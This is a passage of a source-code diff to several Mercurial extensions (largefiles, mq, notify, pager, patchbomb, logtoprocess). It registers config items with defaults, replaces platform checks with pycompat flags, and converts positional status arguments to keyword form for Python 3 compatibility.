         appdata = encoding.environ.get('LOCALAPPDATA',\
                         encoding.environ.get('APPDATA'))
         if appdata:
             return os.path.join(appdata, longname)
-    elif platform.system() == 'Darwin':
+    elif pycompat.isdarwin:
         home = encoding.environ.get('HOME')
         if home:
             return os.path.join(home, 'Library', 'Caches', longname)
-    elif pycompat.osname == 'posix':
+    elif pycompat.isposix:
         path = encoding.environ.get('XDG_CACHE_HOME')
         if path:
             return os.path.join(path, longname)
@@ -155,7 +154,8 @@
     # largefiles operation in a new clone.
     if create and not vfs.exists(vfs.join(lfstoredir, 'dirstate')):
         matcher = getstandinmatcher(repo)
-        standins = repo.dirstate.walk(matcher, [], False, False)
+        standins = repo.dirstate.walk(matcher, subrepos=[], unknown=False,
+                                      ignored=False)
 
         if len(standins) > 0:
             vfs.makedirs(lfstoredir)
@@ -168,7 +168,8 @@
 def lfdirstatestatus(lfdirstate, repo):
     pctx = repo['.']
     match = matchmod.always(repo.root, repo.getcwd())
-    unsure, s = lfdirstate.status(match, [], False, False, False)
+    unsure, s = lfdirstate.status(match, subrepos=[], ignored=False,
+                                  clean=False, unknown=False)
     modified, clean = s.modified, s.clean
     for lfile in unsure:
         try:
@@ -428,7 +429,8 @@
     standins = []
     matcher = getstandinmatcher(repo)
     wctx = repo[None]
-    for standin in repo.dirstate.walk(matcher, [], False, False):
+    for standin in repo.dirstate.walk(matcher, subrepos=[], unknown=False,
+                                      ignored=False):
         lfile = splitstandin(standin)
         try:
             hash = readasstandin(wctx[standin])
@@ -549,8 +551,8 @@
         # large.
         lfdirstate = openlfdirstate(ui, repo)
         dirtymatch = matchmod.always(repo.root, repo.getcwd())
-        unsure, s = lfdirstate.status(dirtymatch, [], False, False,
-                                      False)
+        unsure, s = lfdirstate.status(dirtymatch, subrepos=[], ignored=False,
+                                      clean=False, unknown=False)
         modifiedfiles = unsure + s.modified + s.added + s.removed
         lfiles = listlfiles(repo)
         # this only loops through largefiles that exist (not
@@ -573,7 +575,8 @@
     # Case 2: user calls commit with specified patterns: refresh
     # any matching big files.
     smatcher = composestandinmatcher(repo, match)
-    standins = repo.dirstate.walk(smatcher, [], False, False)
+    standins = repo.dirstate.walk(smatcher, subrepos=[], unknown=False,
+                                  ignored=False)
 
     # No matching big files: get out of the way and pass control to
     # the usual commit() method.
diff --git a/hgext/largefiles/overrides.py b/hgext/largefiles/overrides.py
--- a/hgext/largefiles/overrides.py
+++ b/hgext/largefiles/overrides.py
@@ -111,7 +111,7 @@
 
     lfmatcher = None
     if lfutil.islfilesrepo(repo):
-        lfpats = ui.configlist(lfutil.longname, 'patterns', default=[])
+        lfpats = ui.configlist(lfutil.longname, 'patterns')
         if lfpats:
             lfmatcher = matchmod.match(repo.root, '', list(lfpats))
 
@@ -545,10 +545,10 @@
 
 # Override filemerge to prompt the user about how they wish to merge
 # largefiles. This will handle identical edits without prompting the user.
-def overridefilemerge(origfn, premerge, repo, mynode, orig, fcd, fco, fca,
+def overridefilemerge(origfn, premerge, repo, wctx, mynode, orig, fcd, fco, fca,
                       labels=None):
     if not lfutil.isstandin(orig) or fcd.isabsent() or fco.isabsent():
-        return origfn(premerge, repo, mynode, orig, fcd, fco, fca,
+        return origfn(premerge, repo, wctx, mynode, orig, fcd, fco, fca,
                       labels=labels)
 
     ahash = lfutil.readasstandin(fca).lower()
@@ -1218,8 +1218,9 @@
         return orig(repo, matcher, prefix, opts, dry_run, similarity)
     # Get the list of missing largefiles so we can remove them
     lfdirstate = lfutil.openlfdirstate(repo.ui, repo)
-    unsure, s = lfdirstate.status(matchmod.always(repo.root, repo.getcwd()), [],
-                                  False, False, False)
+    unsure, s = lfdirstate.status(matchmod.always(repo.root, repo.getcwd()),
+                                  subrepos=[], ignored=False, clean=False,
+                                  unknown=False)
 
     # Call into the normal remove code, but the removing of the standin, we want
     # to have handled by original addremove.  Monkey patching here makes sure
@@ -1403,7 +1404,8 @@
         lfdirstate = lfutil.openlfdirstate(repo.ui, repo)
         unsure, s = lfdirstate.status(matchmod.always(repo.root,
                                                     repo.getcwd()),
-                                      [], False, True, False)
+                                      subrepos=[], ignored=False,
+                                      clean=True, unknown=False)
         oldclean = set(s.clean)
         pctx = repo['.']
         dctx = repo[node]
@@ -1432,7 +1434,10 @@
         lfdirstate.write()
 
         oldstandins = lfutil.getstandinsstate(repo)
-
+        # Make sure the merge runs on disk, not in-memory. largefiles is not a
+        # good candidate for in-memory merge (large files, custom dirstate,
+        # matcher usage).
+        kwargs['wc'] = repo[None]
         result = orig(repo, node, branchmerge, force, *args, **kwargs)
 
         newstandins = lfutil.getstandinsstate(repo)
diff --git a/hgext/largefiles/remotestore.py b/hgext/largefiles/remotestore.py
--- a/hgext/largefiles/remotestore.py
+++ b/hgext/largefiles/remotestore.py
@@ -12,7 +12,6 @@
 from mercurial import (
     error,
     util,
-    wireproto,
 )
 
 from . import (
@@ -109,10 +108,6 @@
                                            'from statlfile (%r)' % stat)
         return failed
 
-    def batch(self):
-        '''Support for remote batching.'''
-        return wireproto.remotebatch(self)
-
     def _put(self, hash, fd):
         '''Put file with the given hash in the remote store.'''
         raise NotImplementedError('abstract method')
diff --git a/hgext/largefiles/reposetup.py b/hgext/largefiles/reposetup.py
--- a/hgext/largefiles/reposetup.py
+++ b/hgext/largefiles/reposetup.py
@@ -162,8 +162,10 @@
                                     if sfindirstate(f)]
                     # Don't waste time getting the ignored and unknown
                     # files from lfdirstate
-                    unsure, s = lfdirstate.status(match, [], False, listclean,
-                                                  False)
+                    unsure, s = lfdirstate.status(match, subrepos=[],
+                                                  ignored=False,
+                                                  clean=listclean,
+                                                  unknown=False)
                     (modified, added, removed, deleted, clean) = (
                         s.modified, s.added, s.removed, s.deleted, s.clean)
                     if parentworking:
diff --git a/hgext/largefiles/uisetup.py b/hgext/largefiles/uisetup.py
--- a/hgext/largefiles/uisetup.py
+++ b/hgext/largefiles/uisetup.py
@@ -53,8 +53,7 @@
 
     # The scmutil function is called both by the (trivial) addremove command,
     # and in the process of handling commit -A (issue3542)
-    entry = extensions.wrapfunction(scmutil, 'addremove',
-                                    overrides.scmutiladdremove)
+    extensions.wrapfunction(scmutil, 'addremove', overrides.scmutiladdremove)
     extensions.wrapfunction(cmdutil, 'add', overrides.cmdutiladd)
     extensions.wrapfunction(cmdutil, 'remove', overrides.cmdutilremove)
     extensions.wrapfunction(cmdutil, 'forget', overrides.cmdutilforget)
@@ -64,8 +63,8 @@
     # Subrepos call status function
     entry = extensions.wrapcommand(commands.table, 'status',
                                    overrides.overridestatus)
-    entry = extensions.wrapfunction(subrepo.hgsubrepo, 'status',
-                                    overrides.overridestatusfn)
+    extensions.wrapfunction(subrepo.hgsubrepo, 'status',
+                            overrides.overridestatusfn)
 
     entry = extensions.wrapcommand(commands.table, 'log',
                                    overrides.overridelog)
@@ -111,46 +110,41 @@
     pushopt = [('', 'lfrev', [],
                 _('upload largefiles for these revisions'), _('REV'))]
     entry[1].extend(pushopt)
-    entry = extensions.wrapfunction(exchange, 'pushoperation',
-                                    overrides.exchangepushoperation)
+    extensions.wrapfunction(exchange, 'pushoperation',
+                            overrides.exchangepushoperation)
 
     entry = extensions.wrapcommand(commands.table, 'clone',
                                    overrides.overrideclone)
     cloneopt = [('', 'all-largefiles', None,
                  _('download all versions of all largefiles'))]
     entry[1].extend(cloneopt)
-    entry = extensions.wrapfunction(hg, 'clone', overrides.hgclone)
-    entry = extensions.wrapfunction(hg, 'postshare', overrides.hgpostshare)
+    extensions.wrapfunction(hg, 'clone', overrides.hgclone)
+    extensions.wrapfunction(hg, 'postshare', overrides.hgpostshare)
 
     entry = extensions.wrapcommand(commands.table, 'cat',
                                    overrides.overridecat)
-    entry = extensions.wrapfunction(merge, '_checkunknownfile',
-                                    overrides.overridecheckunknownfile)
-    entry = extensions.wrapfunction(merge, 'calculateupdates',
-                                    overrides.overridecalculateupdates)
-    entry = extensions.wrapfunction(merge, 'recordupdates',
-                                    overrides.mergerecordupdates)
-    entry = extensions.wrapfunction(merge, 'update',
-                                    overrides.mergeupdate)
-    entry = extensions.wrapfunction(filemerge, '_filemerge',
-                                    overrides.overridefilemerge)
-    entry = extensions.wrapfunction(cmdutil, 'copy',
-                                    overrides.overridecopy)
+    extensions.wrapfunction(merge, '_checkunknownfile',
+                            overrides.overridecheckunknownfile)
+    extensions.wrapfunction(merge, 'calculateupdates',
+                            overrides.overridecalculateupdates)
+    extensions.wrapfunction(merge, 'recordupdates',
+                            overrides.mergerecordupdates)
+    extensions.wrapfunction(merge, 'update', overrides.mergeupdate)
+    extensions.wrapfunction(filemerge, '_filemerge',
+                            overrides.overridefilemerge)
+    extensions.wrapfunction(cmdutil, 'copy', overrides.overridecopy)
 
     # Summary calls dirty on the subrepos
-    entry = extensions.wrapfunction(subrepo.hgsubrepo, 'dirty',
-                                    overrides.overridedirty)
+    extensions.wrapfunction(subrepo.hgsubrepo, 'dirty', overrides.overridedirty)
 
-    entry = extensions.wrapfunction(cmdutil, 'revert',
-                                    overrides.overriderevert)
+    extensions.wrapfunction(cmdutil, 'revert', overrides.overriderevert)
 
     extensions.wrapcommand(commands.table, 'archive',
                            overrides.overridearchivecmd)
     extensions.wrapfunction(archival, 'archive', overrides.overridearchive)
     extensions.wrapfunction(subrepo.hgsubrepo, 'archive',
                             overrides.hgsubrepoarchive)
-    extensions.wrapfunction(webcommands, 'archive',
-                            overrides.hgwebarchive)
+    extensions.wrapfunction(webcommands, 'archive', overrides.hgwebarchive)
     extensions.wrapfunction(cmdutil, 'bailifchanged',
                             overrides.overridebailifchanged)
 
diff --git a/hgext/logtoprocess.py b/hgext/logtoprocess.py
--- a/hgext/logtoprocess.py
+++ b/hgext/logtoprocess.py
@@ -36,11 +36,13 @@
 
 import itertools
 import os
-import platform
 import subprocess
 import sys
 
-from mercurial import encoding
+from mercurial import (
+    encoding,
+    pycompat,
+)
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
@@ -49,7 +51,7 @@
 testedwith = 'ships-with-hg-core'
 
 def uisetup(ui):
-    if platform.system() == 'Windows':
+    if pycompat.iswindows:
         # no fork on Windows, but we can create a detached process
         # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863.aspx
         # No stdlib constant exists for this value
diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -62,7 +62,7 @@
 in the strip extension.
 '''
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import errno
 import os
@@ -80,6 +80,7 @@
     cmdutil,
     commands,
     dirstateguard,
+    encoding,
     error,
     extensions,
     hg,
@@ -108,6 +109,22 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('mq', 'git',
+    default='auto',
+)
+configitem('mq', 'keepchanges',
+    default=False,
+)
+configitem('mq', 'plain',
+    default=False,
+)
+configitem('mq', 'secret',
+    default=False,
+)
+
 # force load strip extension formerly included in mq and import some utility
 try:
     stripext = extensions.find('strip')
@@ -153,23 +170,25 @@
 
 def inserthgheader(lines, header, value):
     """Assuming lines contains a HG patch header, add a header line with value.
-    >>> try: inserthgheader([], '# Date ', 'z')
-    ... except ValueError, inst: print "oops"
+    >>> try: inserthgheader([], b'# Date ', b'z')
+    ... except ValueError as inst: print("oops")
     oops
-    >>> inserthgheader(['# HG changeset patch'], '# Date ', 'z')
+    >>> inserthgheader([b'# HG changeset patch'], b'# Date ', b'z')
     ['# HG changeset patch', '# Date z']
-    >>> inserthgheader(['# HG changeset patch', ''], '# Date ', 'z')
+    >>> inserthgheader([b'# HG changeset patch', b''], b'# Date ', b'z')
     ['# HG changeset patch', '# Date z', '']
-    >>> inserthgheader(['# HG changeset patch', '# User y'], '# Date ', 'z')
+    >>> inserthgheader([b'# HG changeset patch', b'# User y'], b'# Date ', b'z')
     ['# HG changeset patch', '# User y', '# Date z']
-    >>> inserthgheader(['# HG changeset patch', '# Date x', '# User y'],
-    ...                '# User ', 'z')
+    >>> inserthgheader([b'# HG changeset patch', b'# Date x', b'# User y'],
+    ...                b'# User ', b'z')
     ['# HG changeset patch', '# Date x', '# User z']
-    >>> inserthgheader(['# HG changeset patch', '# Date y'], '# Date ', 'z')
+    >>> inserthgheader([b'# HG changeset patch', b'# Date y'], b'# Date ', b'z')
     ['# HG changeset patch', '# Date z']
-    >>> inserthgheader(['# HG changeset patch', '', '# Date y'], '# Date ', 'z')
+    >>> inserthgheader([b'# HG changeset patch', b'', b'# Date y'],
+    ...                b'# Date ', b'z')
     ['# HG changeset patch', '# Date z', '', '# Date y']
-    >>> inserthgheader(['# HG changeset patch', '# Parent  y'], '# Date ', 'z')
+    >>> inserthgheader([b'# HG changeset patch', b'# Parent  y'],
+    ...                b'# Date ', b'z')
     ['# HG changeset patch', '# Date z', '# Parent  y']
     """
     start = lines.index('# HG changeset patch') + 1
@@ -193,19 +212,19 @@
 
 def insertplainheader(lines, header, value):
     """For lines containing a plain patch header, add a header line with value.
-    >>> insertplainheader([], 'Date', 'z')
+    >>> insertplainheader([], b'Date', b'z')
     ['Date: z']
-    >>> insertplainheader([''], 'Date', 'z')
+    >>> insertplainheader([b''], b'Date', b'z')
     ['Date: z', '']
-    >>> insertplainheader(['x'], 'Date', 'z')
+    >>> insertplainheader([b'x'], b'Date', b'z')
     ['Date: z', '', 'x']
-    >>> insertplainheader(['From: y', 'x'], 'Date', 'z')
+    >>> insertplainheader([b'From: y', b'x'], b'Date', b'z')
     ['From: y', 'Date: z', '', 'x']
-    >>> insertplainheader([' date : x', ' from : y', ''], 'From', 'z')
+    >>> insertplainheader([b' date : x', b' from : y', b''], b'From', b'z')
     [' date : x', 'From: z', '']
-    >>> insertplainheader(['', 'Date: y'], 'Date', 'z')
+    >>> insertplainheader([b'', b'Date: y'], b'Date', b'z')
     ['Date: z', '', 'Date: y']
-    >>> insertplainheader(['foo: bar', 'DATE: z', 'x'], 'From', 'y')
+    >>> insertplainheader([b'foo: bar', b'DATE: z', b'x'], b'From', b'y')
     ['From: y', 'foo: bar', 'DATE: z', '', 'x']
     """
     newprio = PLAINHEADERS[header.lower()]
@@ -403,7 +422,7 @@
     """
     repo = repo.unfiltered()
     if phase is None:
-        if repo.ui.configbool('mq', 'secret', False):
+        if repo.ui.configbool('mq', 'secret'):
             phase = phases.secret
     overrides = {('ui', 'allowemptycommit'): True}
     if phase is not None:
@@ -441,19 +460,16 @@
         self.activeguards = None
         self.guardsdirty = False
         # Handle mq.git as a bool with extended values
-        try:
-            gitmode = ui.configbool('mq', 'git', None)
-            if gitmode is None:
-                raise error.ConfigError
-            if gitmode:
-                self.gitmode = 'yes'
+        gitmode = ui.config('mq', 'git').lower()
+        boolmode = util.parsebool(gitmode)
+        if boolmode is not None:
+            if boolmode:
+                gitmode = 'yes'
             else:
-                self.gitmode = 'no'
-        except error.ConfigError:
-            # let's have check-config ignore the type mismatch
-            self.gitmode = ui.config(r'mq', 'git', 'auto').lower()
+                gitmode = 'no'
+        self.gitmode = gitmode
         # deprecated config: mq.plain
-        self.plainmode = ui.configbool('mq', 'plain', False)
+        self.plainmode = ui.configbool('mq', 'plain')
         self.checkapplied = True
 
     @util.propertycache
@@ -1046,10 +1062,10 @@
         repo._phasecache
         patches = self._revpatches(repo, sorted(revs))
         qfinished = self._cleanup(patches, len(patches))
-        if qfinished and repo.ui.configbool('mq', 'secret', False):
+        if qfinished and repo.ui.configbool('mq', 'secret'):
             # only use this logic when the secret option is added
             oldqbase = repo[qfinished[0]]
-            tphase = repo.ui.config('phases', 'new-commit', phases.draft)
+            tphase = phases.newcommitphase(repo.ui)
             if oldqbase.phase() > tphase and oldqbase.p1().phase() <= tphase:
                 with repo.transaction('qfinish') as tr:
                     phases.advanceboundary(repo, tr, tphase, qfinished)
@@ -1209,7 +1225,7 @@
                 p = self.opener(patchfn, "w")
             except IOError as e:
                 raise error.Abort(_('cannot write patch "%s": %s')
-                                 % (patchfn, e.strerror))
+                                 % (patchfn, encoding.strtolocal(e.strerror)))
             try:
                 defaultmsg = "[mq]: %s" % patchfn
                 editor = cmdutil.getcommiteditor(editform=editform)
@@ -1667,15 +1683,15 @@
             changes = repo.changelog.read(top)
             man = repo.manifestlog[changes[0]].read()
             aaa = aa[:]
-            matchfn = scmutil.match(repo[None], pats, opts)
+            match1 = scmutil.match(repo[None], pats, opts)
             # in short mode, we only diff the files included in the
             # patch already plus specified files
             if opts.get('short'):
                 # if amending a patch, we start with existing
                 # files plus specified files - unfiltered
-                match = scmutil.matchfiles(repo, mm + aa + dd + matchfn.files())
+                match = scmutil.matchfiles(repo, mm + aa + dd + match1.files())
                 # filter with include/exclude options
-                matchfn = scmutil.match(repo[None], opts=opts)
+                match1 = scmutil.match(repo[None], opts=opts)
             else:
                 match = scmutil.matchall(repo)
             m, a, r, d = repo.status(match=match)[:4]
@@ -1716,8 +1732,8 @@
             a = list(aa)
 
             # create 'match' that includes the files to be recommitted.
-            # apply matchfn via repo.status to ensure correct case handling.
-            cm, ca, cr, cd = repo.status(patchparent, match=matchfn)[:4]
+            # apply match1 via repo.status to ensure correct case handling.
+            cm, ca, cr, cd = repo.status(patchparent, match=match1)[:4]
             allmatches = set(cm + ca + cr + cd)
             refreshchanges = [x.intersection(allmatches) for x in (mm, aa, dd)]
 
@@ -1767,7 +1783,7 @@
                 # file with mtime=0 so status can see it.
                 mm = []
                 for i in xrange(len(m) - 1, -1, -1):
-                    if not matchfn(m[i]):
+                    if not match1(m[i]):
                         mm.append(m[i])
                         del m[i]
                 for f in m:
@@ -2151,7 +2167,7 @@
                     self.added.append(patchname)
                     imported.append(patchname)
                     patchname = None
-                    if rev and repo.ui.configbool('mq', 'secret', False):
+                    if rev and repo.ui.configbool('mq', 'secret'):
                         # if we added anything with --rev, move the secret root
                         phases.retractboundary(repo, tr, phases.secret, [n])
                     self.parseseries()
@@ -2250,6 +2266,7 @@
     Returns 0 on success."""
 
     q = repo.mq
+    opts = pycompat.byteskwargs(opts)
 
     if patch:
         if patch not in q.series:
@@ -2283,6 +2300,7 @@
     Returns 0 on success."""
 
     q = repo.mq
+    opts = pycompat.byteskwargs(opts)
     if patch:
         if patch not in q.series:
             raise error.Abort(_("patch %s is not in series file") % patch)
@@ -2345,6 +2363,7 @@
 
     Returns 0 if import succeeded.
     """
+    opts = pycompat.byteskwargs(opts)
     with repo.lock(): # cause this may move phase
         q = repo.mq
         try:
@@ -2399,7 +2418,7 @@
 
     This command is deprecated. Without -c, it's implied by other relevant
     commands. With -c, use :hg:`init --mq` instead."""
-    return qinit(ui, repo, create=opts.get('create_repo'))
+    return qinit(ui, repo, create=opts.get(r'create_repo'))
 
 @command("qclone",
          [('', 'pull', None, _('use pull protocol to copy metadata')),
@@ -2429,6 +2448,7 @@
 
     Return 0 on success.
     '''
+    opts = pycompat.byteskwargs(opts)
     def patchdir(repo):
         """compute a patch repo url from a repo object"""
         url = repo.url()
@@ -2510,8 +2530,8 @@
     """print the entire series file
 
     Returns 0 on success."""
-    repo.mq.qseries(repo, missing=opts.get('missing'),
-                    summary=opts.get('summary'))
+    repo.mq.qseries(repo, missing=opts.get(r'missing'),
+                    summary=opts.get(r'summary'))
     return 0
 
 @command("qtop", seriesopts, _('hg qtop [-s]'))
@@ -2527,7 +2547,7 @@
 
     if t:
         q.qseries(repo, start=t - 1, length=1, status='A',
-                  summary=opts.get('summary'))
+                  summary=opts.get(r'summary'))
     else:
         ui.write(_("no patches applied\n"))
         return 1
@@ -2542,7 +2562,7 @@
     if end == len(q.series):
         ui.write(_("all patches applied\n"))
         return 1
-    q.qseries(repo, start=end, length=1, summary=opts.get('summary'))
+    q.qseries(repo, start=end, length=1, summary=opts.get(r'summary'))
 
 @command("qprev", seriesopts, _('hg qprev [-s]'))
 def prev(ui, repo, **opts):
@@ -2559,7 +2579,7 @@
         return 1
     idx = q.series.index(q.applied[-2].name)
     q.qseries(repo, start=idx, length=1, status='A',
-              summary=opts.get('summary'))
+              summary=opts.get(r'summary'))
 
 def setupheaderopts(ui, opts):
     if not opts.get('user') and opts.get('currentuser'):
@@ -2605,11 +2625,12 @@
 
     Returns 0 on successful creation of a new patch.
     """
+    opts = pycompat.byteskwargs(opts)
     msg = cmdutil.logmessage(ui, opts)
     q = repo.mq
     opts['msg'] = msg
     setupheaderopts(ui, opts)
-    q.new(repo, patch, *args, **opts)
+    q.new(repo, patch, *args, **pycompat.strkwargs(opts))
     q.savedirty()
     return 0
 
@@ -2650,11 +2671,12 @@
 
     Returns 0 on success.
     """
+    opts = pycompat.byteskwargs(opts)
     q = repo.mq
     message = cmdutil.logmessage(ui, opts)
     setupheaderopts(ui, opts)
     with repo.wlock():
-        ret = q.refresh(repo, pats, msg=message, **opts)
+        ret = q.refresh(repo, pats, msg=message, **pycompat.strkwargs(opts))
         q.savedirty()
         return ret
 
@@ -2678,7 +2700,7 @@
     Returns 0 on success.
     """
     ui.pager('qdiff')
-    repo.mq.diff(repo, pats, opts)
+    repo.mq.diff(repo, pats, pycompat.byteskwargs(opts))
     return 0
 
 @command('qfold',
@@ -2700,6 +2722,7 @@
     current patch header, separated by a line of ``* * *``.
 
     Returns 0 on success."""
+    opts = pycompat.byteskwargs(opts)
     q = repo.mq
     if not files:
         raise error.Abort(_('qfold requires at least one patch name'))
@@ -2758,6 +2781,7 @@
     '''push or pop patches until named patch is at top of stack
 
     Returns 0 on success.'''
+    opts = pycompat.byteskwargs(opts)
     opts = fixkeepchangesopts(ui, opts)
     q = repo.mq
     patch = q.lookup(patch)
@@ -2823,7 +2847,7 @@
     applied = set(p.name for p in q.applied)
     patch = None
     args = list(args)
-    if opts.get('list'):
+    if opts.get(r'list'):
         if args or opts.get('none'):
             raise error.Abort(_('cannot mix -l/--list with options or '
                                'arguments'))
@@ -2917,6 +2941,7 @@
     q = repo.mq
     mergeq = None
 
+    opts = pycompat.byteskwargs(opts)
     opts = fixkeepchangesopts(ui, opts)
     if opts.get('merge'):
         if opts.get('name'):
@@ -2957,6 +2982,7 @@
 
     Return 0 on success.
     """
+    opts = pycompat.byteskwargs(opts)
     opts = fixkeepchangesopts(ui, opts)
     localupdate = True
     if opts.get('name'):
@@ -3036,8 +3062,8 @@
     This command is deprecated, use :hg:`rebase` instead."""
     rev = repo.lookup(rev)
     q = repo.mq
-    q.restore(repo, rev, delete=opts.get('delete'),
-              qupdate=opts.get('update'))
+    q.restore(repo, rev, delete=opts.get(r'delete'),
+              qupdate=opts.get(r'update'))
     q.savedirty()
     return 0
 
@@ -3053,6 +3079,7 @@
 
     This command is deprecated, use :hg:`rebase` instead."""
     q = repo.mq
+    opts = pycompat.byteskwargs(opts)
     message = cmdutil.logmessage(ui, opts)
     ret = q.save(repo, msg=message)
     if ret:
@@ -3122,6 +3149,7 @@
     Returns 0 on success.'''
 
     q = repo.mq
+    opts = pycompat.byteskwargs(opts)
     guards = q.active()
     pushable = lambda i: q.pushable(q.applied[i].name)[0]
     if args or opts.get('none'):
@@ -3210,9 +3238,9 @@
 
     Returns 0 on success.
     """
-    if not opts.get('applied') and not revrange:
+    if not opts.get(r'applied') and not revrange:
         raise error.Abort(_('no revisions specified'))
-    elif opts.get('applied'):
+    elif opts.get(r'applied'):
         revrange = ('qbase::qtip',) + revrange
 
     q = repo.mq
@@ -3341,6 +3369,7 @@
         fh.close()
         repo.vfs.rename('patches.queues.new', _allqueues)
 
+    opts = pycompat.byteskwargs(opts)
     if not name or opts.get('list') or opts.get('active'):
         current = _getcurrent()
         if opts.get('active'):
@@ -3410,7 +3439,7 @@
 def mqphasedefaults(repo, roots):
     """callback used to set mq changeset as secret when no phase data exists"""
     if repo.mq.applied:
-        if repo.ui.configbool('mq', 'secret', False):
+        if repo.ui.configbool('mq', 'secret'):
             mqphase = phases.secret
         else:
             mqphase = phases.draft
@@ -3512,13 +3541,13 @@
 
 def mqimport(orig, ui, repo, *args, **kwargs):
     if (util.safehasattr(repo, 'abortifwdirpatched')
-        and not kwargs.get('no_commit', False)):
+        and not kwargs.get(r'no_commit', False)):
         repo.abortifwdirpatched(_('cannot import over an applied patch'),
-                                   kwargs.get('force'))
+                                   kwargs.get(r'force'))
     return orig(ui, repo, *args, **kwargs)
 
 def mqinit(orig, ui, *args, **kwargs):
-    mq = kwargs.pop('mq', None)
+    mq = kwargs.pop(r'mq', None)
 
     if not mq:
         return orig(ui, *args, **kwargs)
diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -145,6 +145,7 @@
     error,
     mail,
     patch,
+    registrar,
     util,
 )
 
@@ -154,6 +155,58 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('notify', 'changegroup',
+    default=None,
+)
+configitem('notify', 'config',
+    default=None,
+)
+configitem('notify', 'diffstat',
+    default=True,
+)
+configitem('notify', 'domain',
+    default=None,
+)
+configitem('notify', 'fromauthor',
+    default=None,
+)
+configitem('notify', 'incoming',
+    default=None,
+)
+configitem('notify', 'maxdiff',
+    default=300,
+)
+configitem('notify', 'maxsubject',
+    default=67,
+)
+configitem('notify', 'mbox',
+    default=None,
+)
+configitem('notify', 'merge',
+    default=True,
+)
+configitem('notify', 'outgoing',
+    default=None,
+)
+configitem('notify', 'sources',
+    default='serve',
+)
+configitem('notify', 'strip',
+    default=0,
+)
+configitem('notify', 'style',
+    default=None,
+)
+configitem('notify', 'template',
+    default=None,
+)
+configitem('notify', 'test',
+    default=True,
+)
+
 # template for single changeset can include email headers.
 single_template = '''
 Subject: changeset in {webroot}: {desc|firstline|strip}
@@ -187,14 +240,14 @@
         if cfg:
             self.ui.readconfig(cfg, sections=['usersubs', 'reposubs'])
         self.repo = repo
-        self.stripcount = int(self.ui.config('notify', 'strip', 0))
+        self.stripcount = int(self.ui.config('notify', 'strip'))
         self.root = self.strip(self.repo.root)
         self.domain = self.ui.config('notify', 'domain')
         self.mbox = self.ui.config('notify', 'mbox')
-        self.test = self.ui.configbool('notify', 'test', True)
+        self.test = self.ui.configbool('notify', 'test')
         self.charsets = mail._charsets(self.ui)
         self.subs = self.subscribers()
-        self.merge = self.ui.configbool('notify', 'merge', True)
+        self.merge = self.ui.configbool('notify', 'merge')
 
         mapfile = None
         template = (self.ui.config('notify', hooktype) or
@@ -265,7 +318,7 @@
 
     def skipsource(self, source):
         '''true if incoming changes from this source should be skipped.'''
-        ok_sources = self.ui.config('notify', 'sources', 'serve').split()
+        ok_sources = self.ui.config('notify', 'sources').split()
         return source not in ok_sources
 
     def send(self, ctx, count, data):
@@ -316,7 +369,7 @@
             else:
                 s = ctx.description().lstrip().split('\n', 1)[0].rstrip()
                 subject = '%s: %s' % (self.root, s)
-        maxsubject = int(self.ui.config('notify', 'maxsubject', 67))
+        maxsubject = int(self.ui.config('notify', 'maxsubject'))
         if maxsubject:
             subject = util.ellipsis(subject, maxsubject)
         msg['Subject'] = mail.headencode(self.ui, subject,
@@ -350,7 +403,7 @@
 
     def diff(self, ctx, ref=None):
 
-        maxdiff = int(self.ui.config('notify', 'maxdiff', 300))
+        maxdiff = int(self.ui.config('notify', 'maxdiff'))
         prev = ctx.p1().node()
         if ref:
             ref = ref.node()
@@ -360,7 +413,7 @@
                             opts=patch.diffallopts(self.ui))
         difflines = ''.join(chunks).splitlines()
 
-        if self.ui.configbool('notify', 'diffstat', True):
+        if self.ui.configbool('notify', 'diffstat'):
             s = patch.diffstat(difflines)
             # s may be nil, don't include the header if it is
             if s:
diff --git a/hgext/pager.py b/hgext/pager.py
--- a/hgext/pager.py
+++ b/hgext/pager.py
@@ -28,6 +28,7 @@
     commands,
     dispatch,
     extensions,
+    registrar,
     )
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
@@ -36,20 +37,27 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('pager', 'attend',
+        default=lambda: attended,
+)
+
 def uisetup(ui):
 
     def pagecmd(orig, ui, options, cmd, cmdfunc):
         auto = options['pager'] == 'auto'
         if auto and not ui.pageractive:
             usepager = False
-            attend = ui.configlist('pager', 'attend', attended)
+            attend = ui.configlist('pager', 'attend')
             ignore = ui.configlist('pager', 'ignore')
             cmds, _ = cmdutil.findcmd(cmd, commands.table)
 
             for cmd in cmds:
                 var = 'attend-%s' % cmd
-                if ui.config('pager', var):
-                    usepager = ui.configbool('pager', var)
+                if ui.config('pager', var, None):
+                    usepager = ui.configbool('pager', var, True)
                     break
                 if (cmd in attend or
                      (cmd not in ignore and not attend)):
diff --git a/hgext/patchbomb.py b/hgext/patchbomb.py
--- a/hgext/patchbomb.py
+++ b/hgext/patchbomb.py
@@ -99,6 +99,38 @@
 
 cmdtable = {}
 command = registrar.command(cmdtable)
+
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('patchbomb', 'bundletype',
+    default=None,
+)
+configitem('patchbomb', 'bcc',
+    default=None,
+)
+configitem('patchbomb', 'cc',
+    default=None,
+)
+configitem('patchbomb', 'confirm',
+    default=False,
+)
+configitem('patchbomb', 'flagtemplate',
+    default=None,
+)
+configitem('patchbomb', 'from',
+    default=None,
+)
+configitem('patchbomb', 'intro',
+    default='auto',
+)
+configitem('patchbomb', 'publicurl',
+    default=None,
+)
+configitem('patchbomb', 'reply-to',
+    default=None,
+)
+
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
@@ -134,7 +166,7 @@
 
 def introwanted(ui, opts, number):
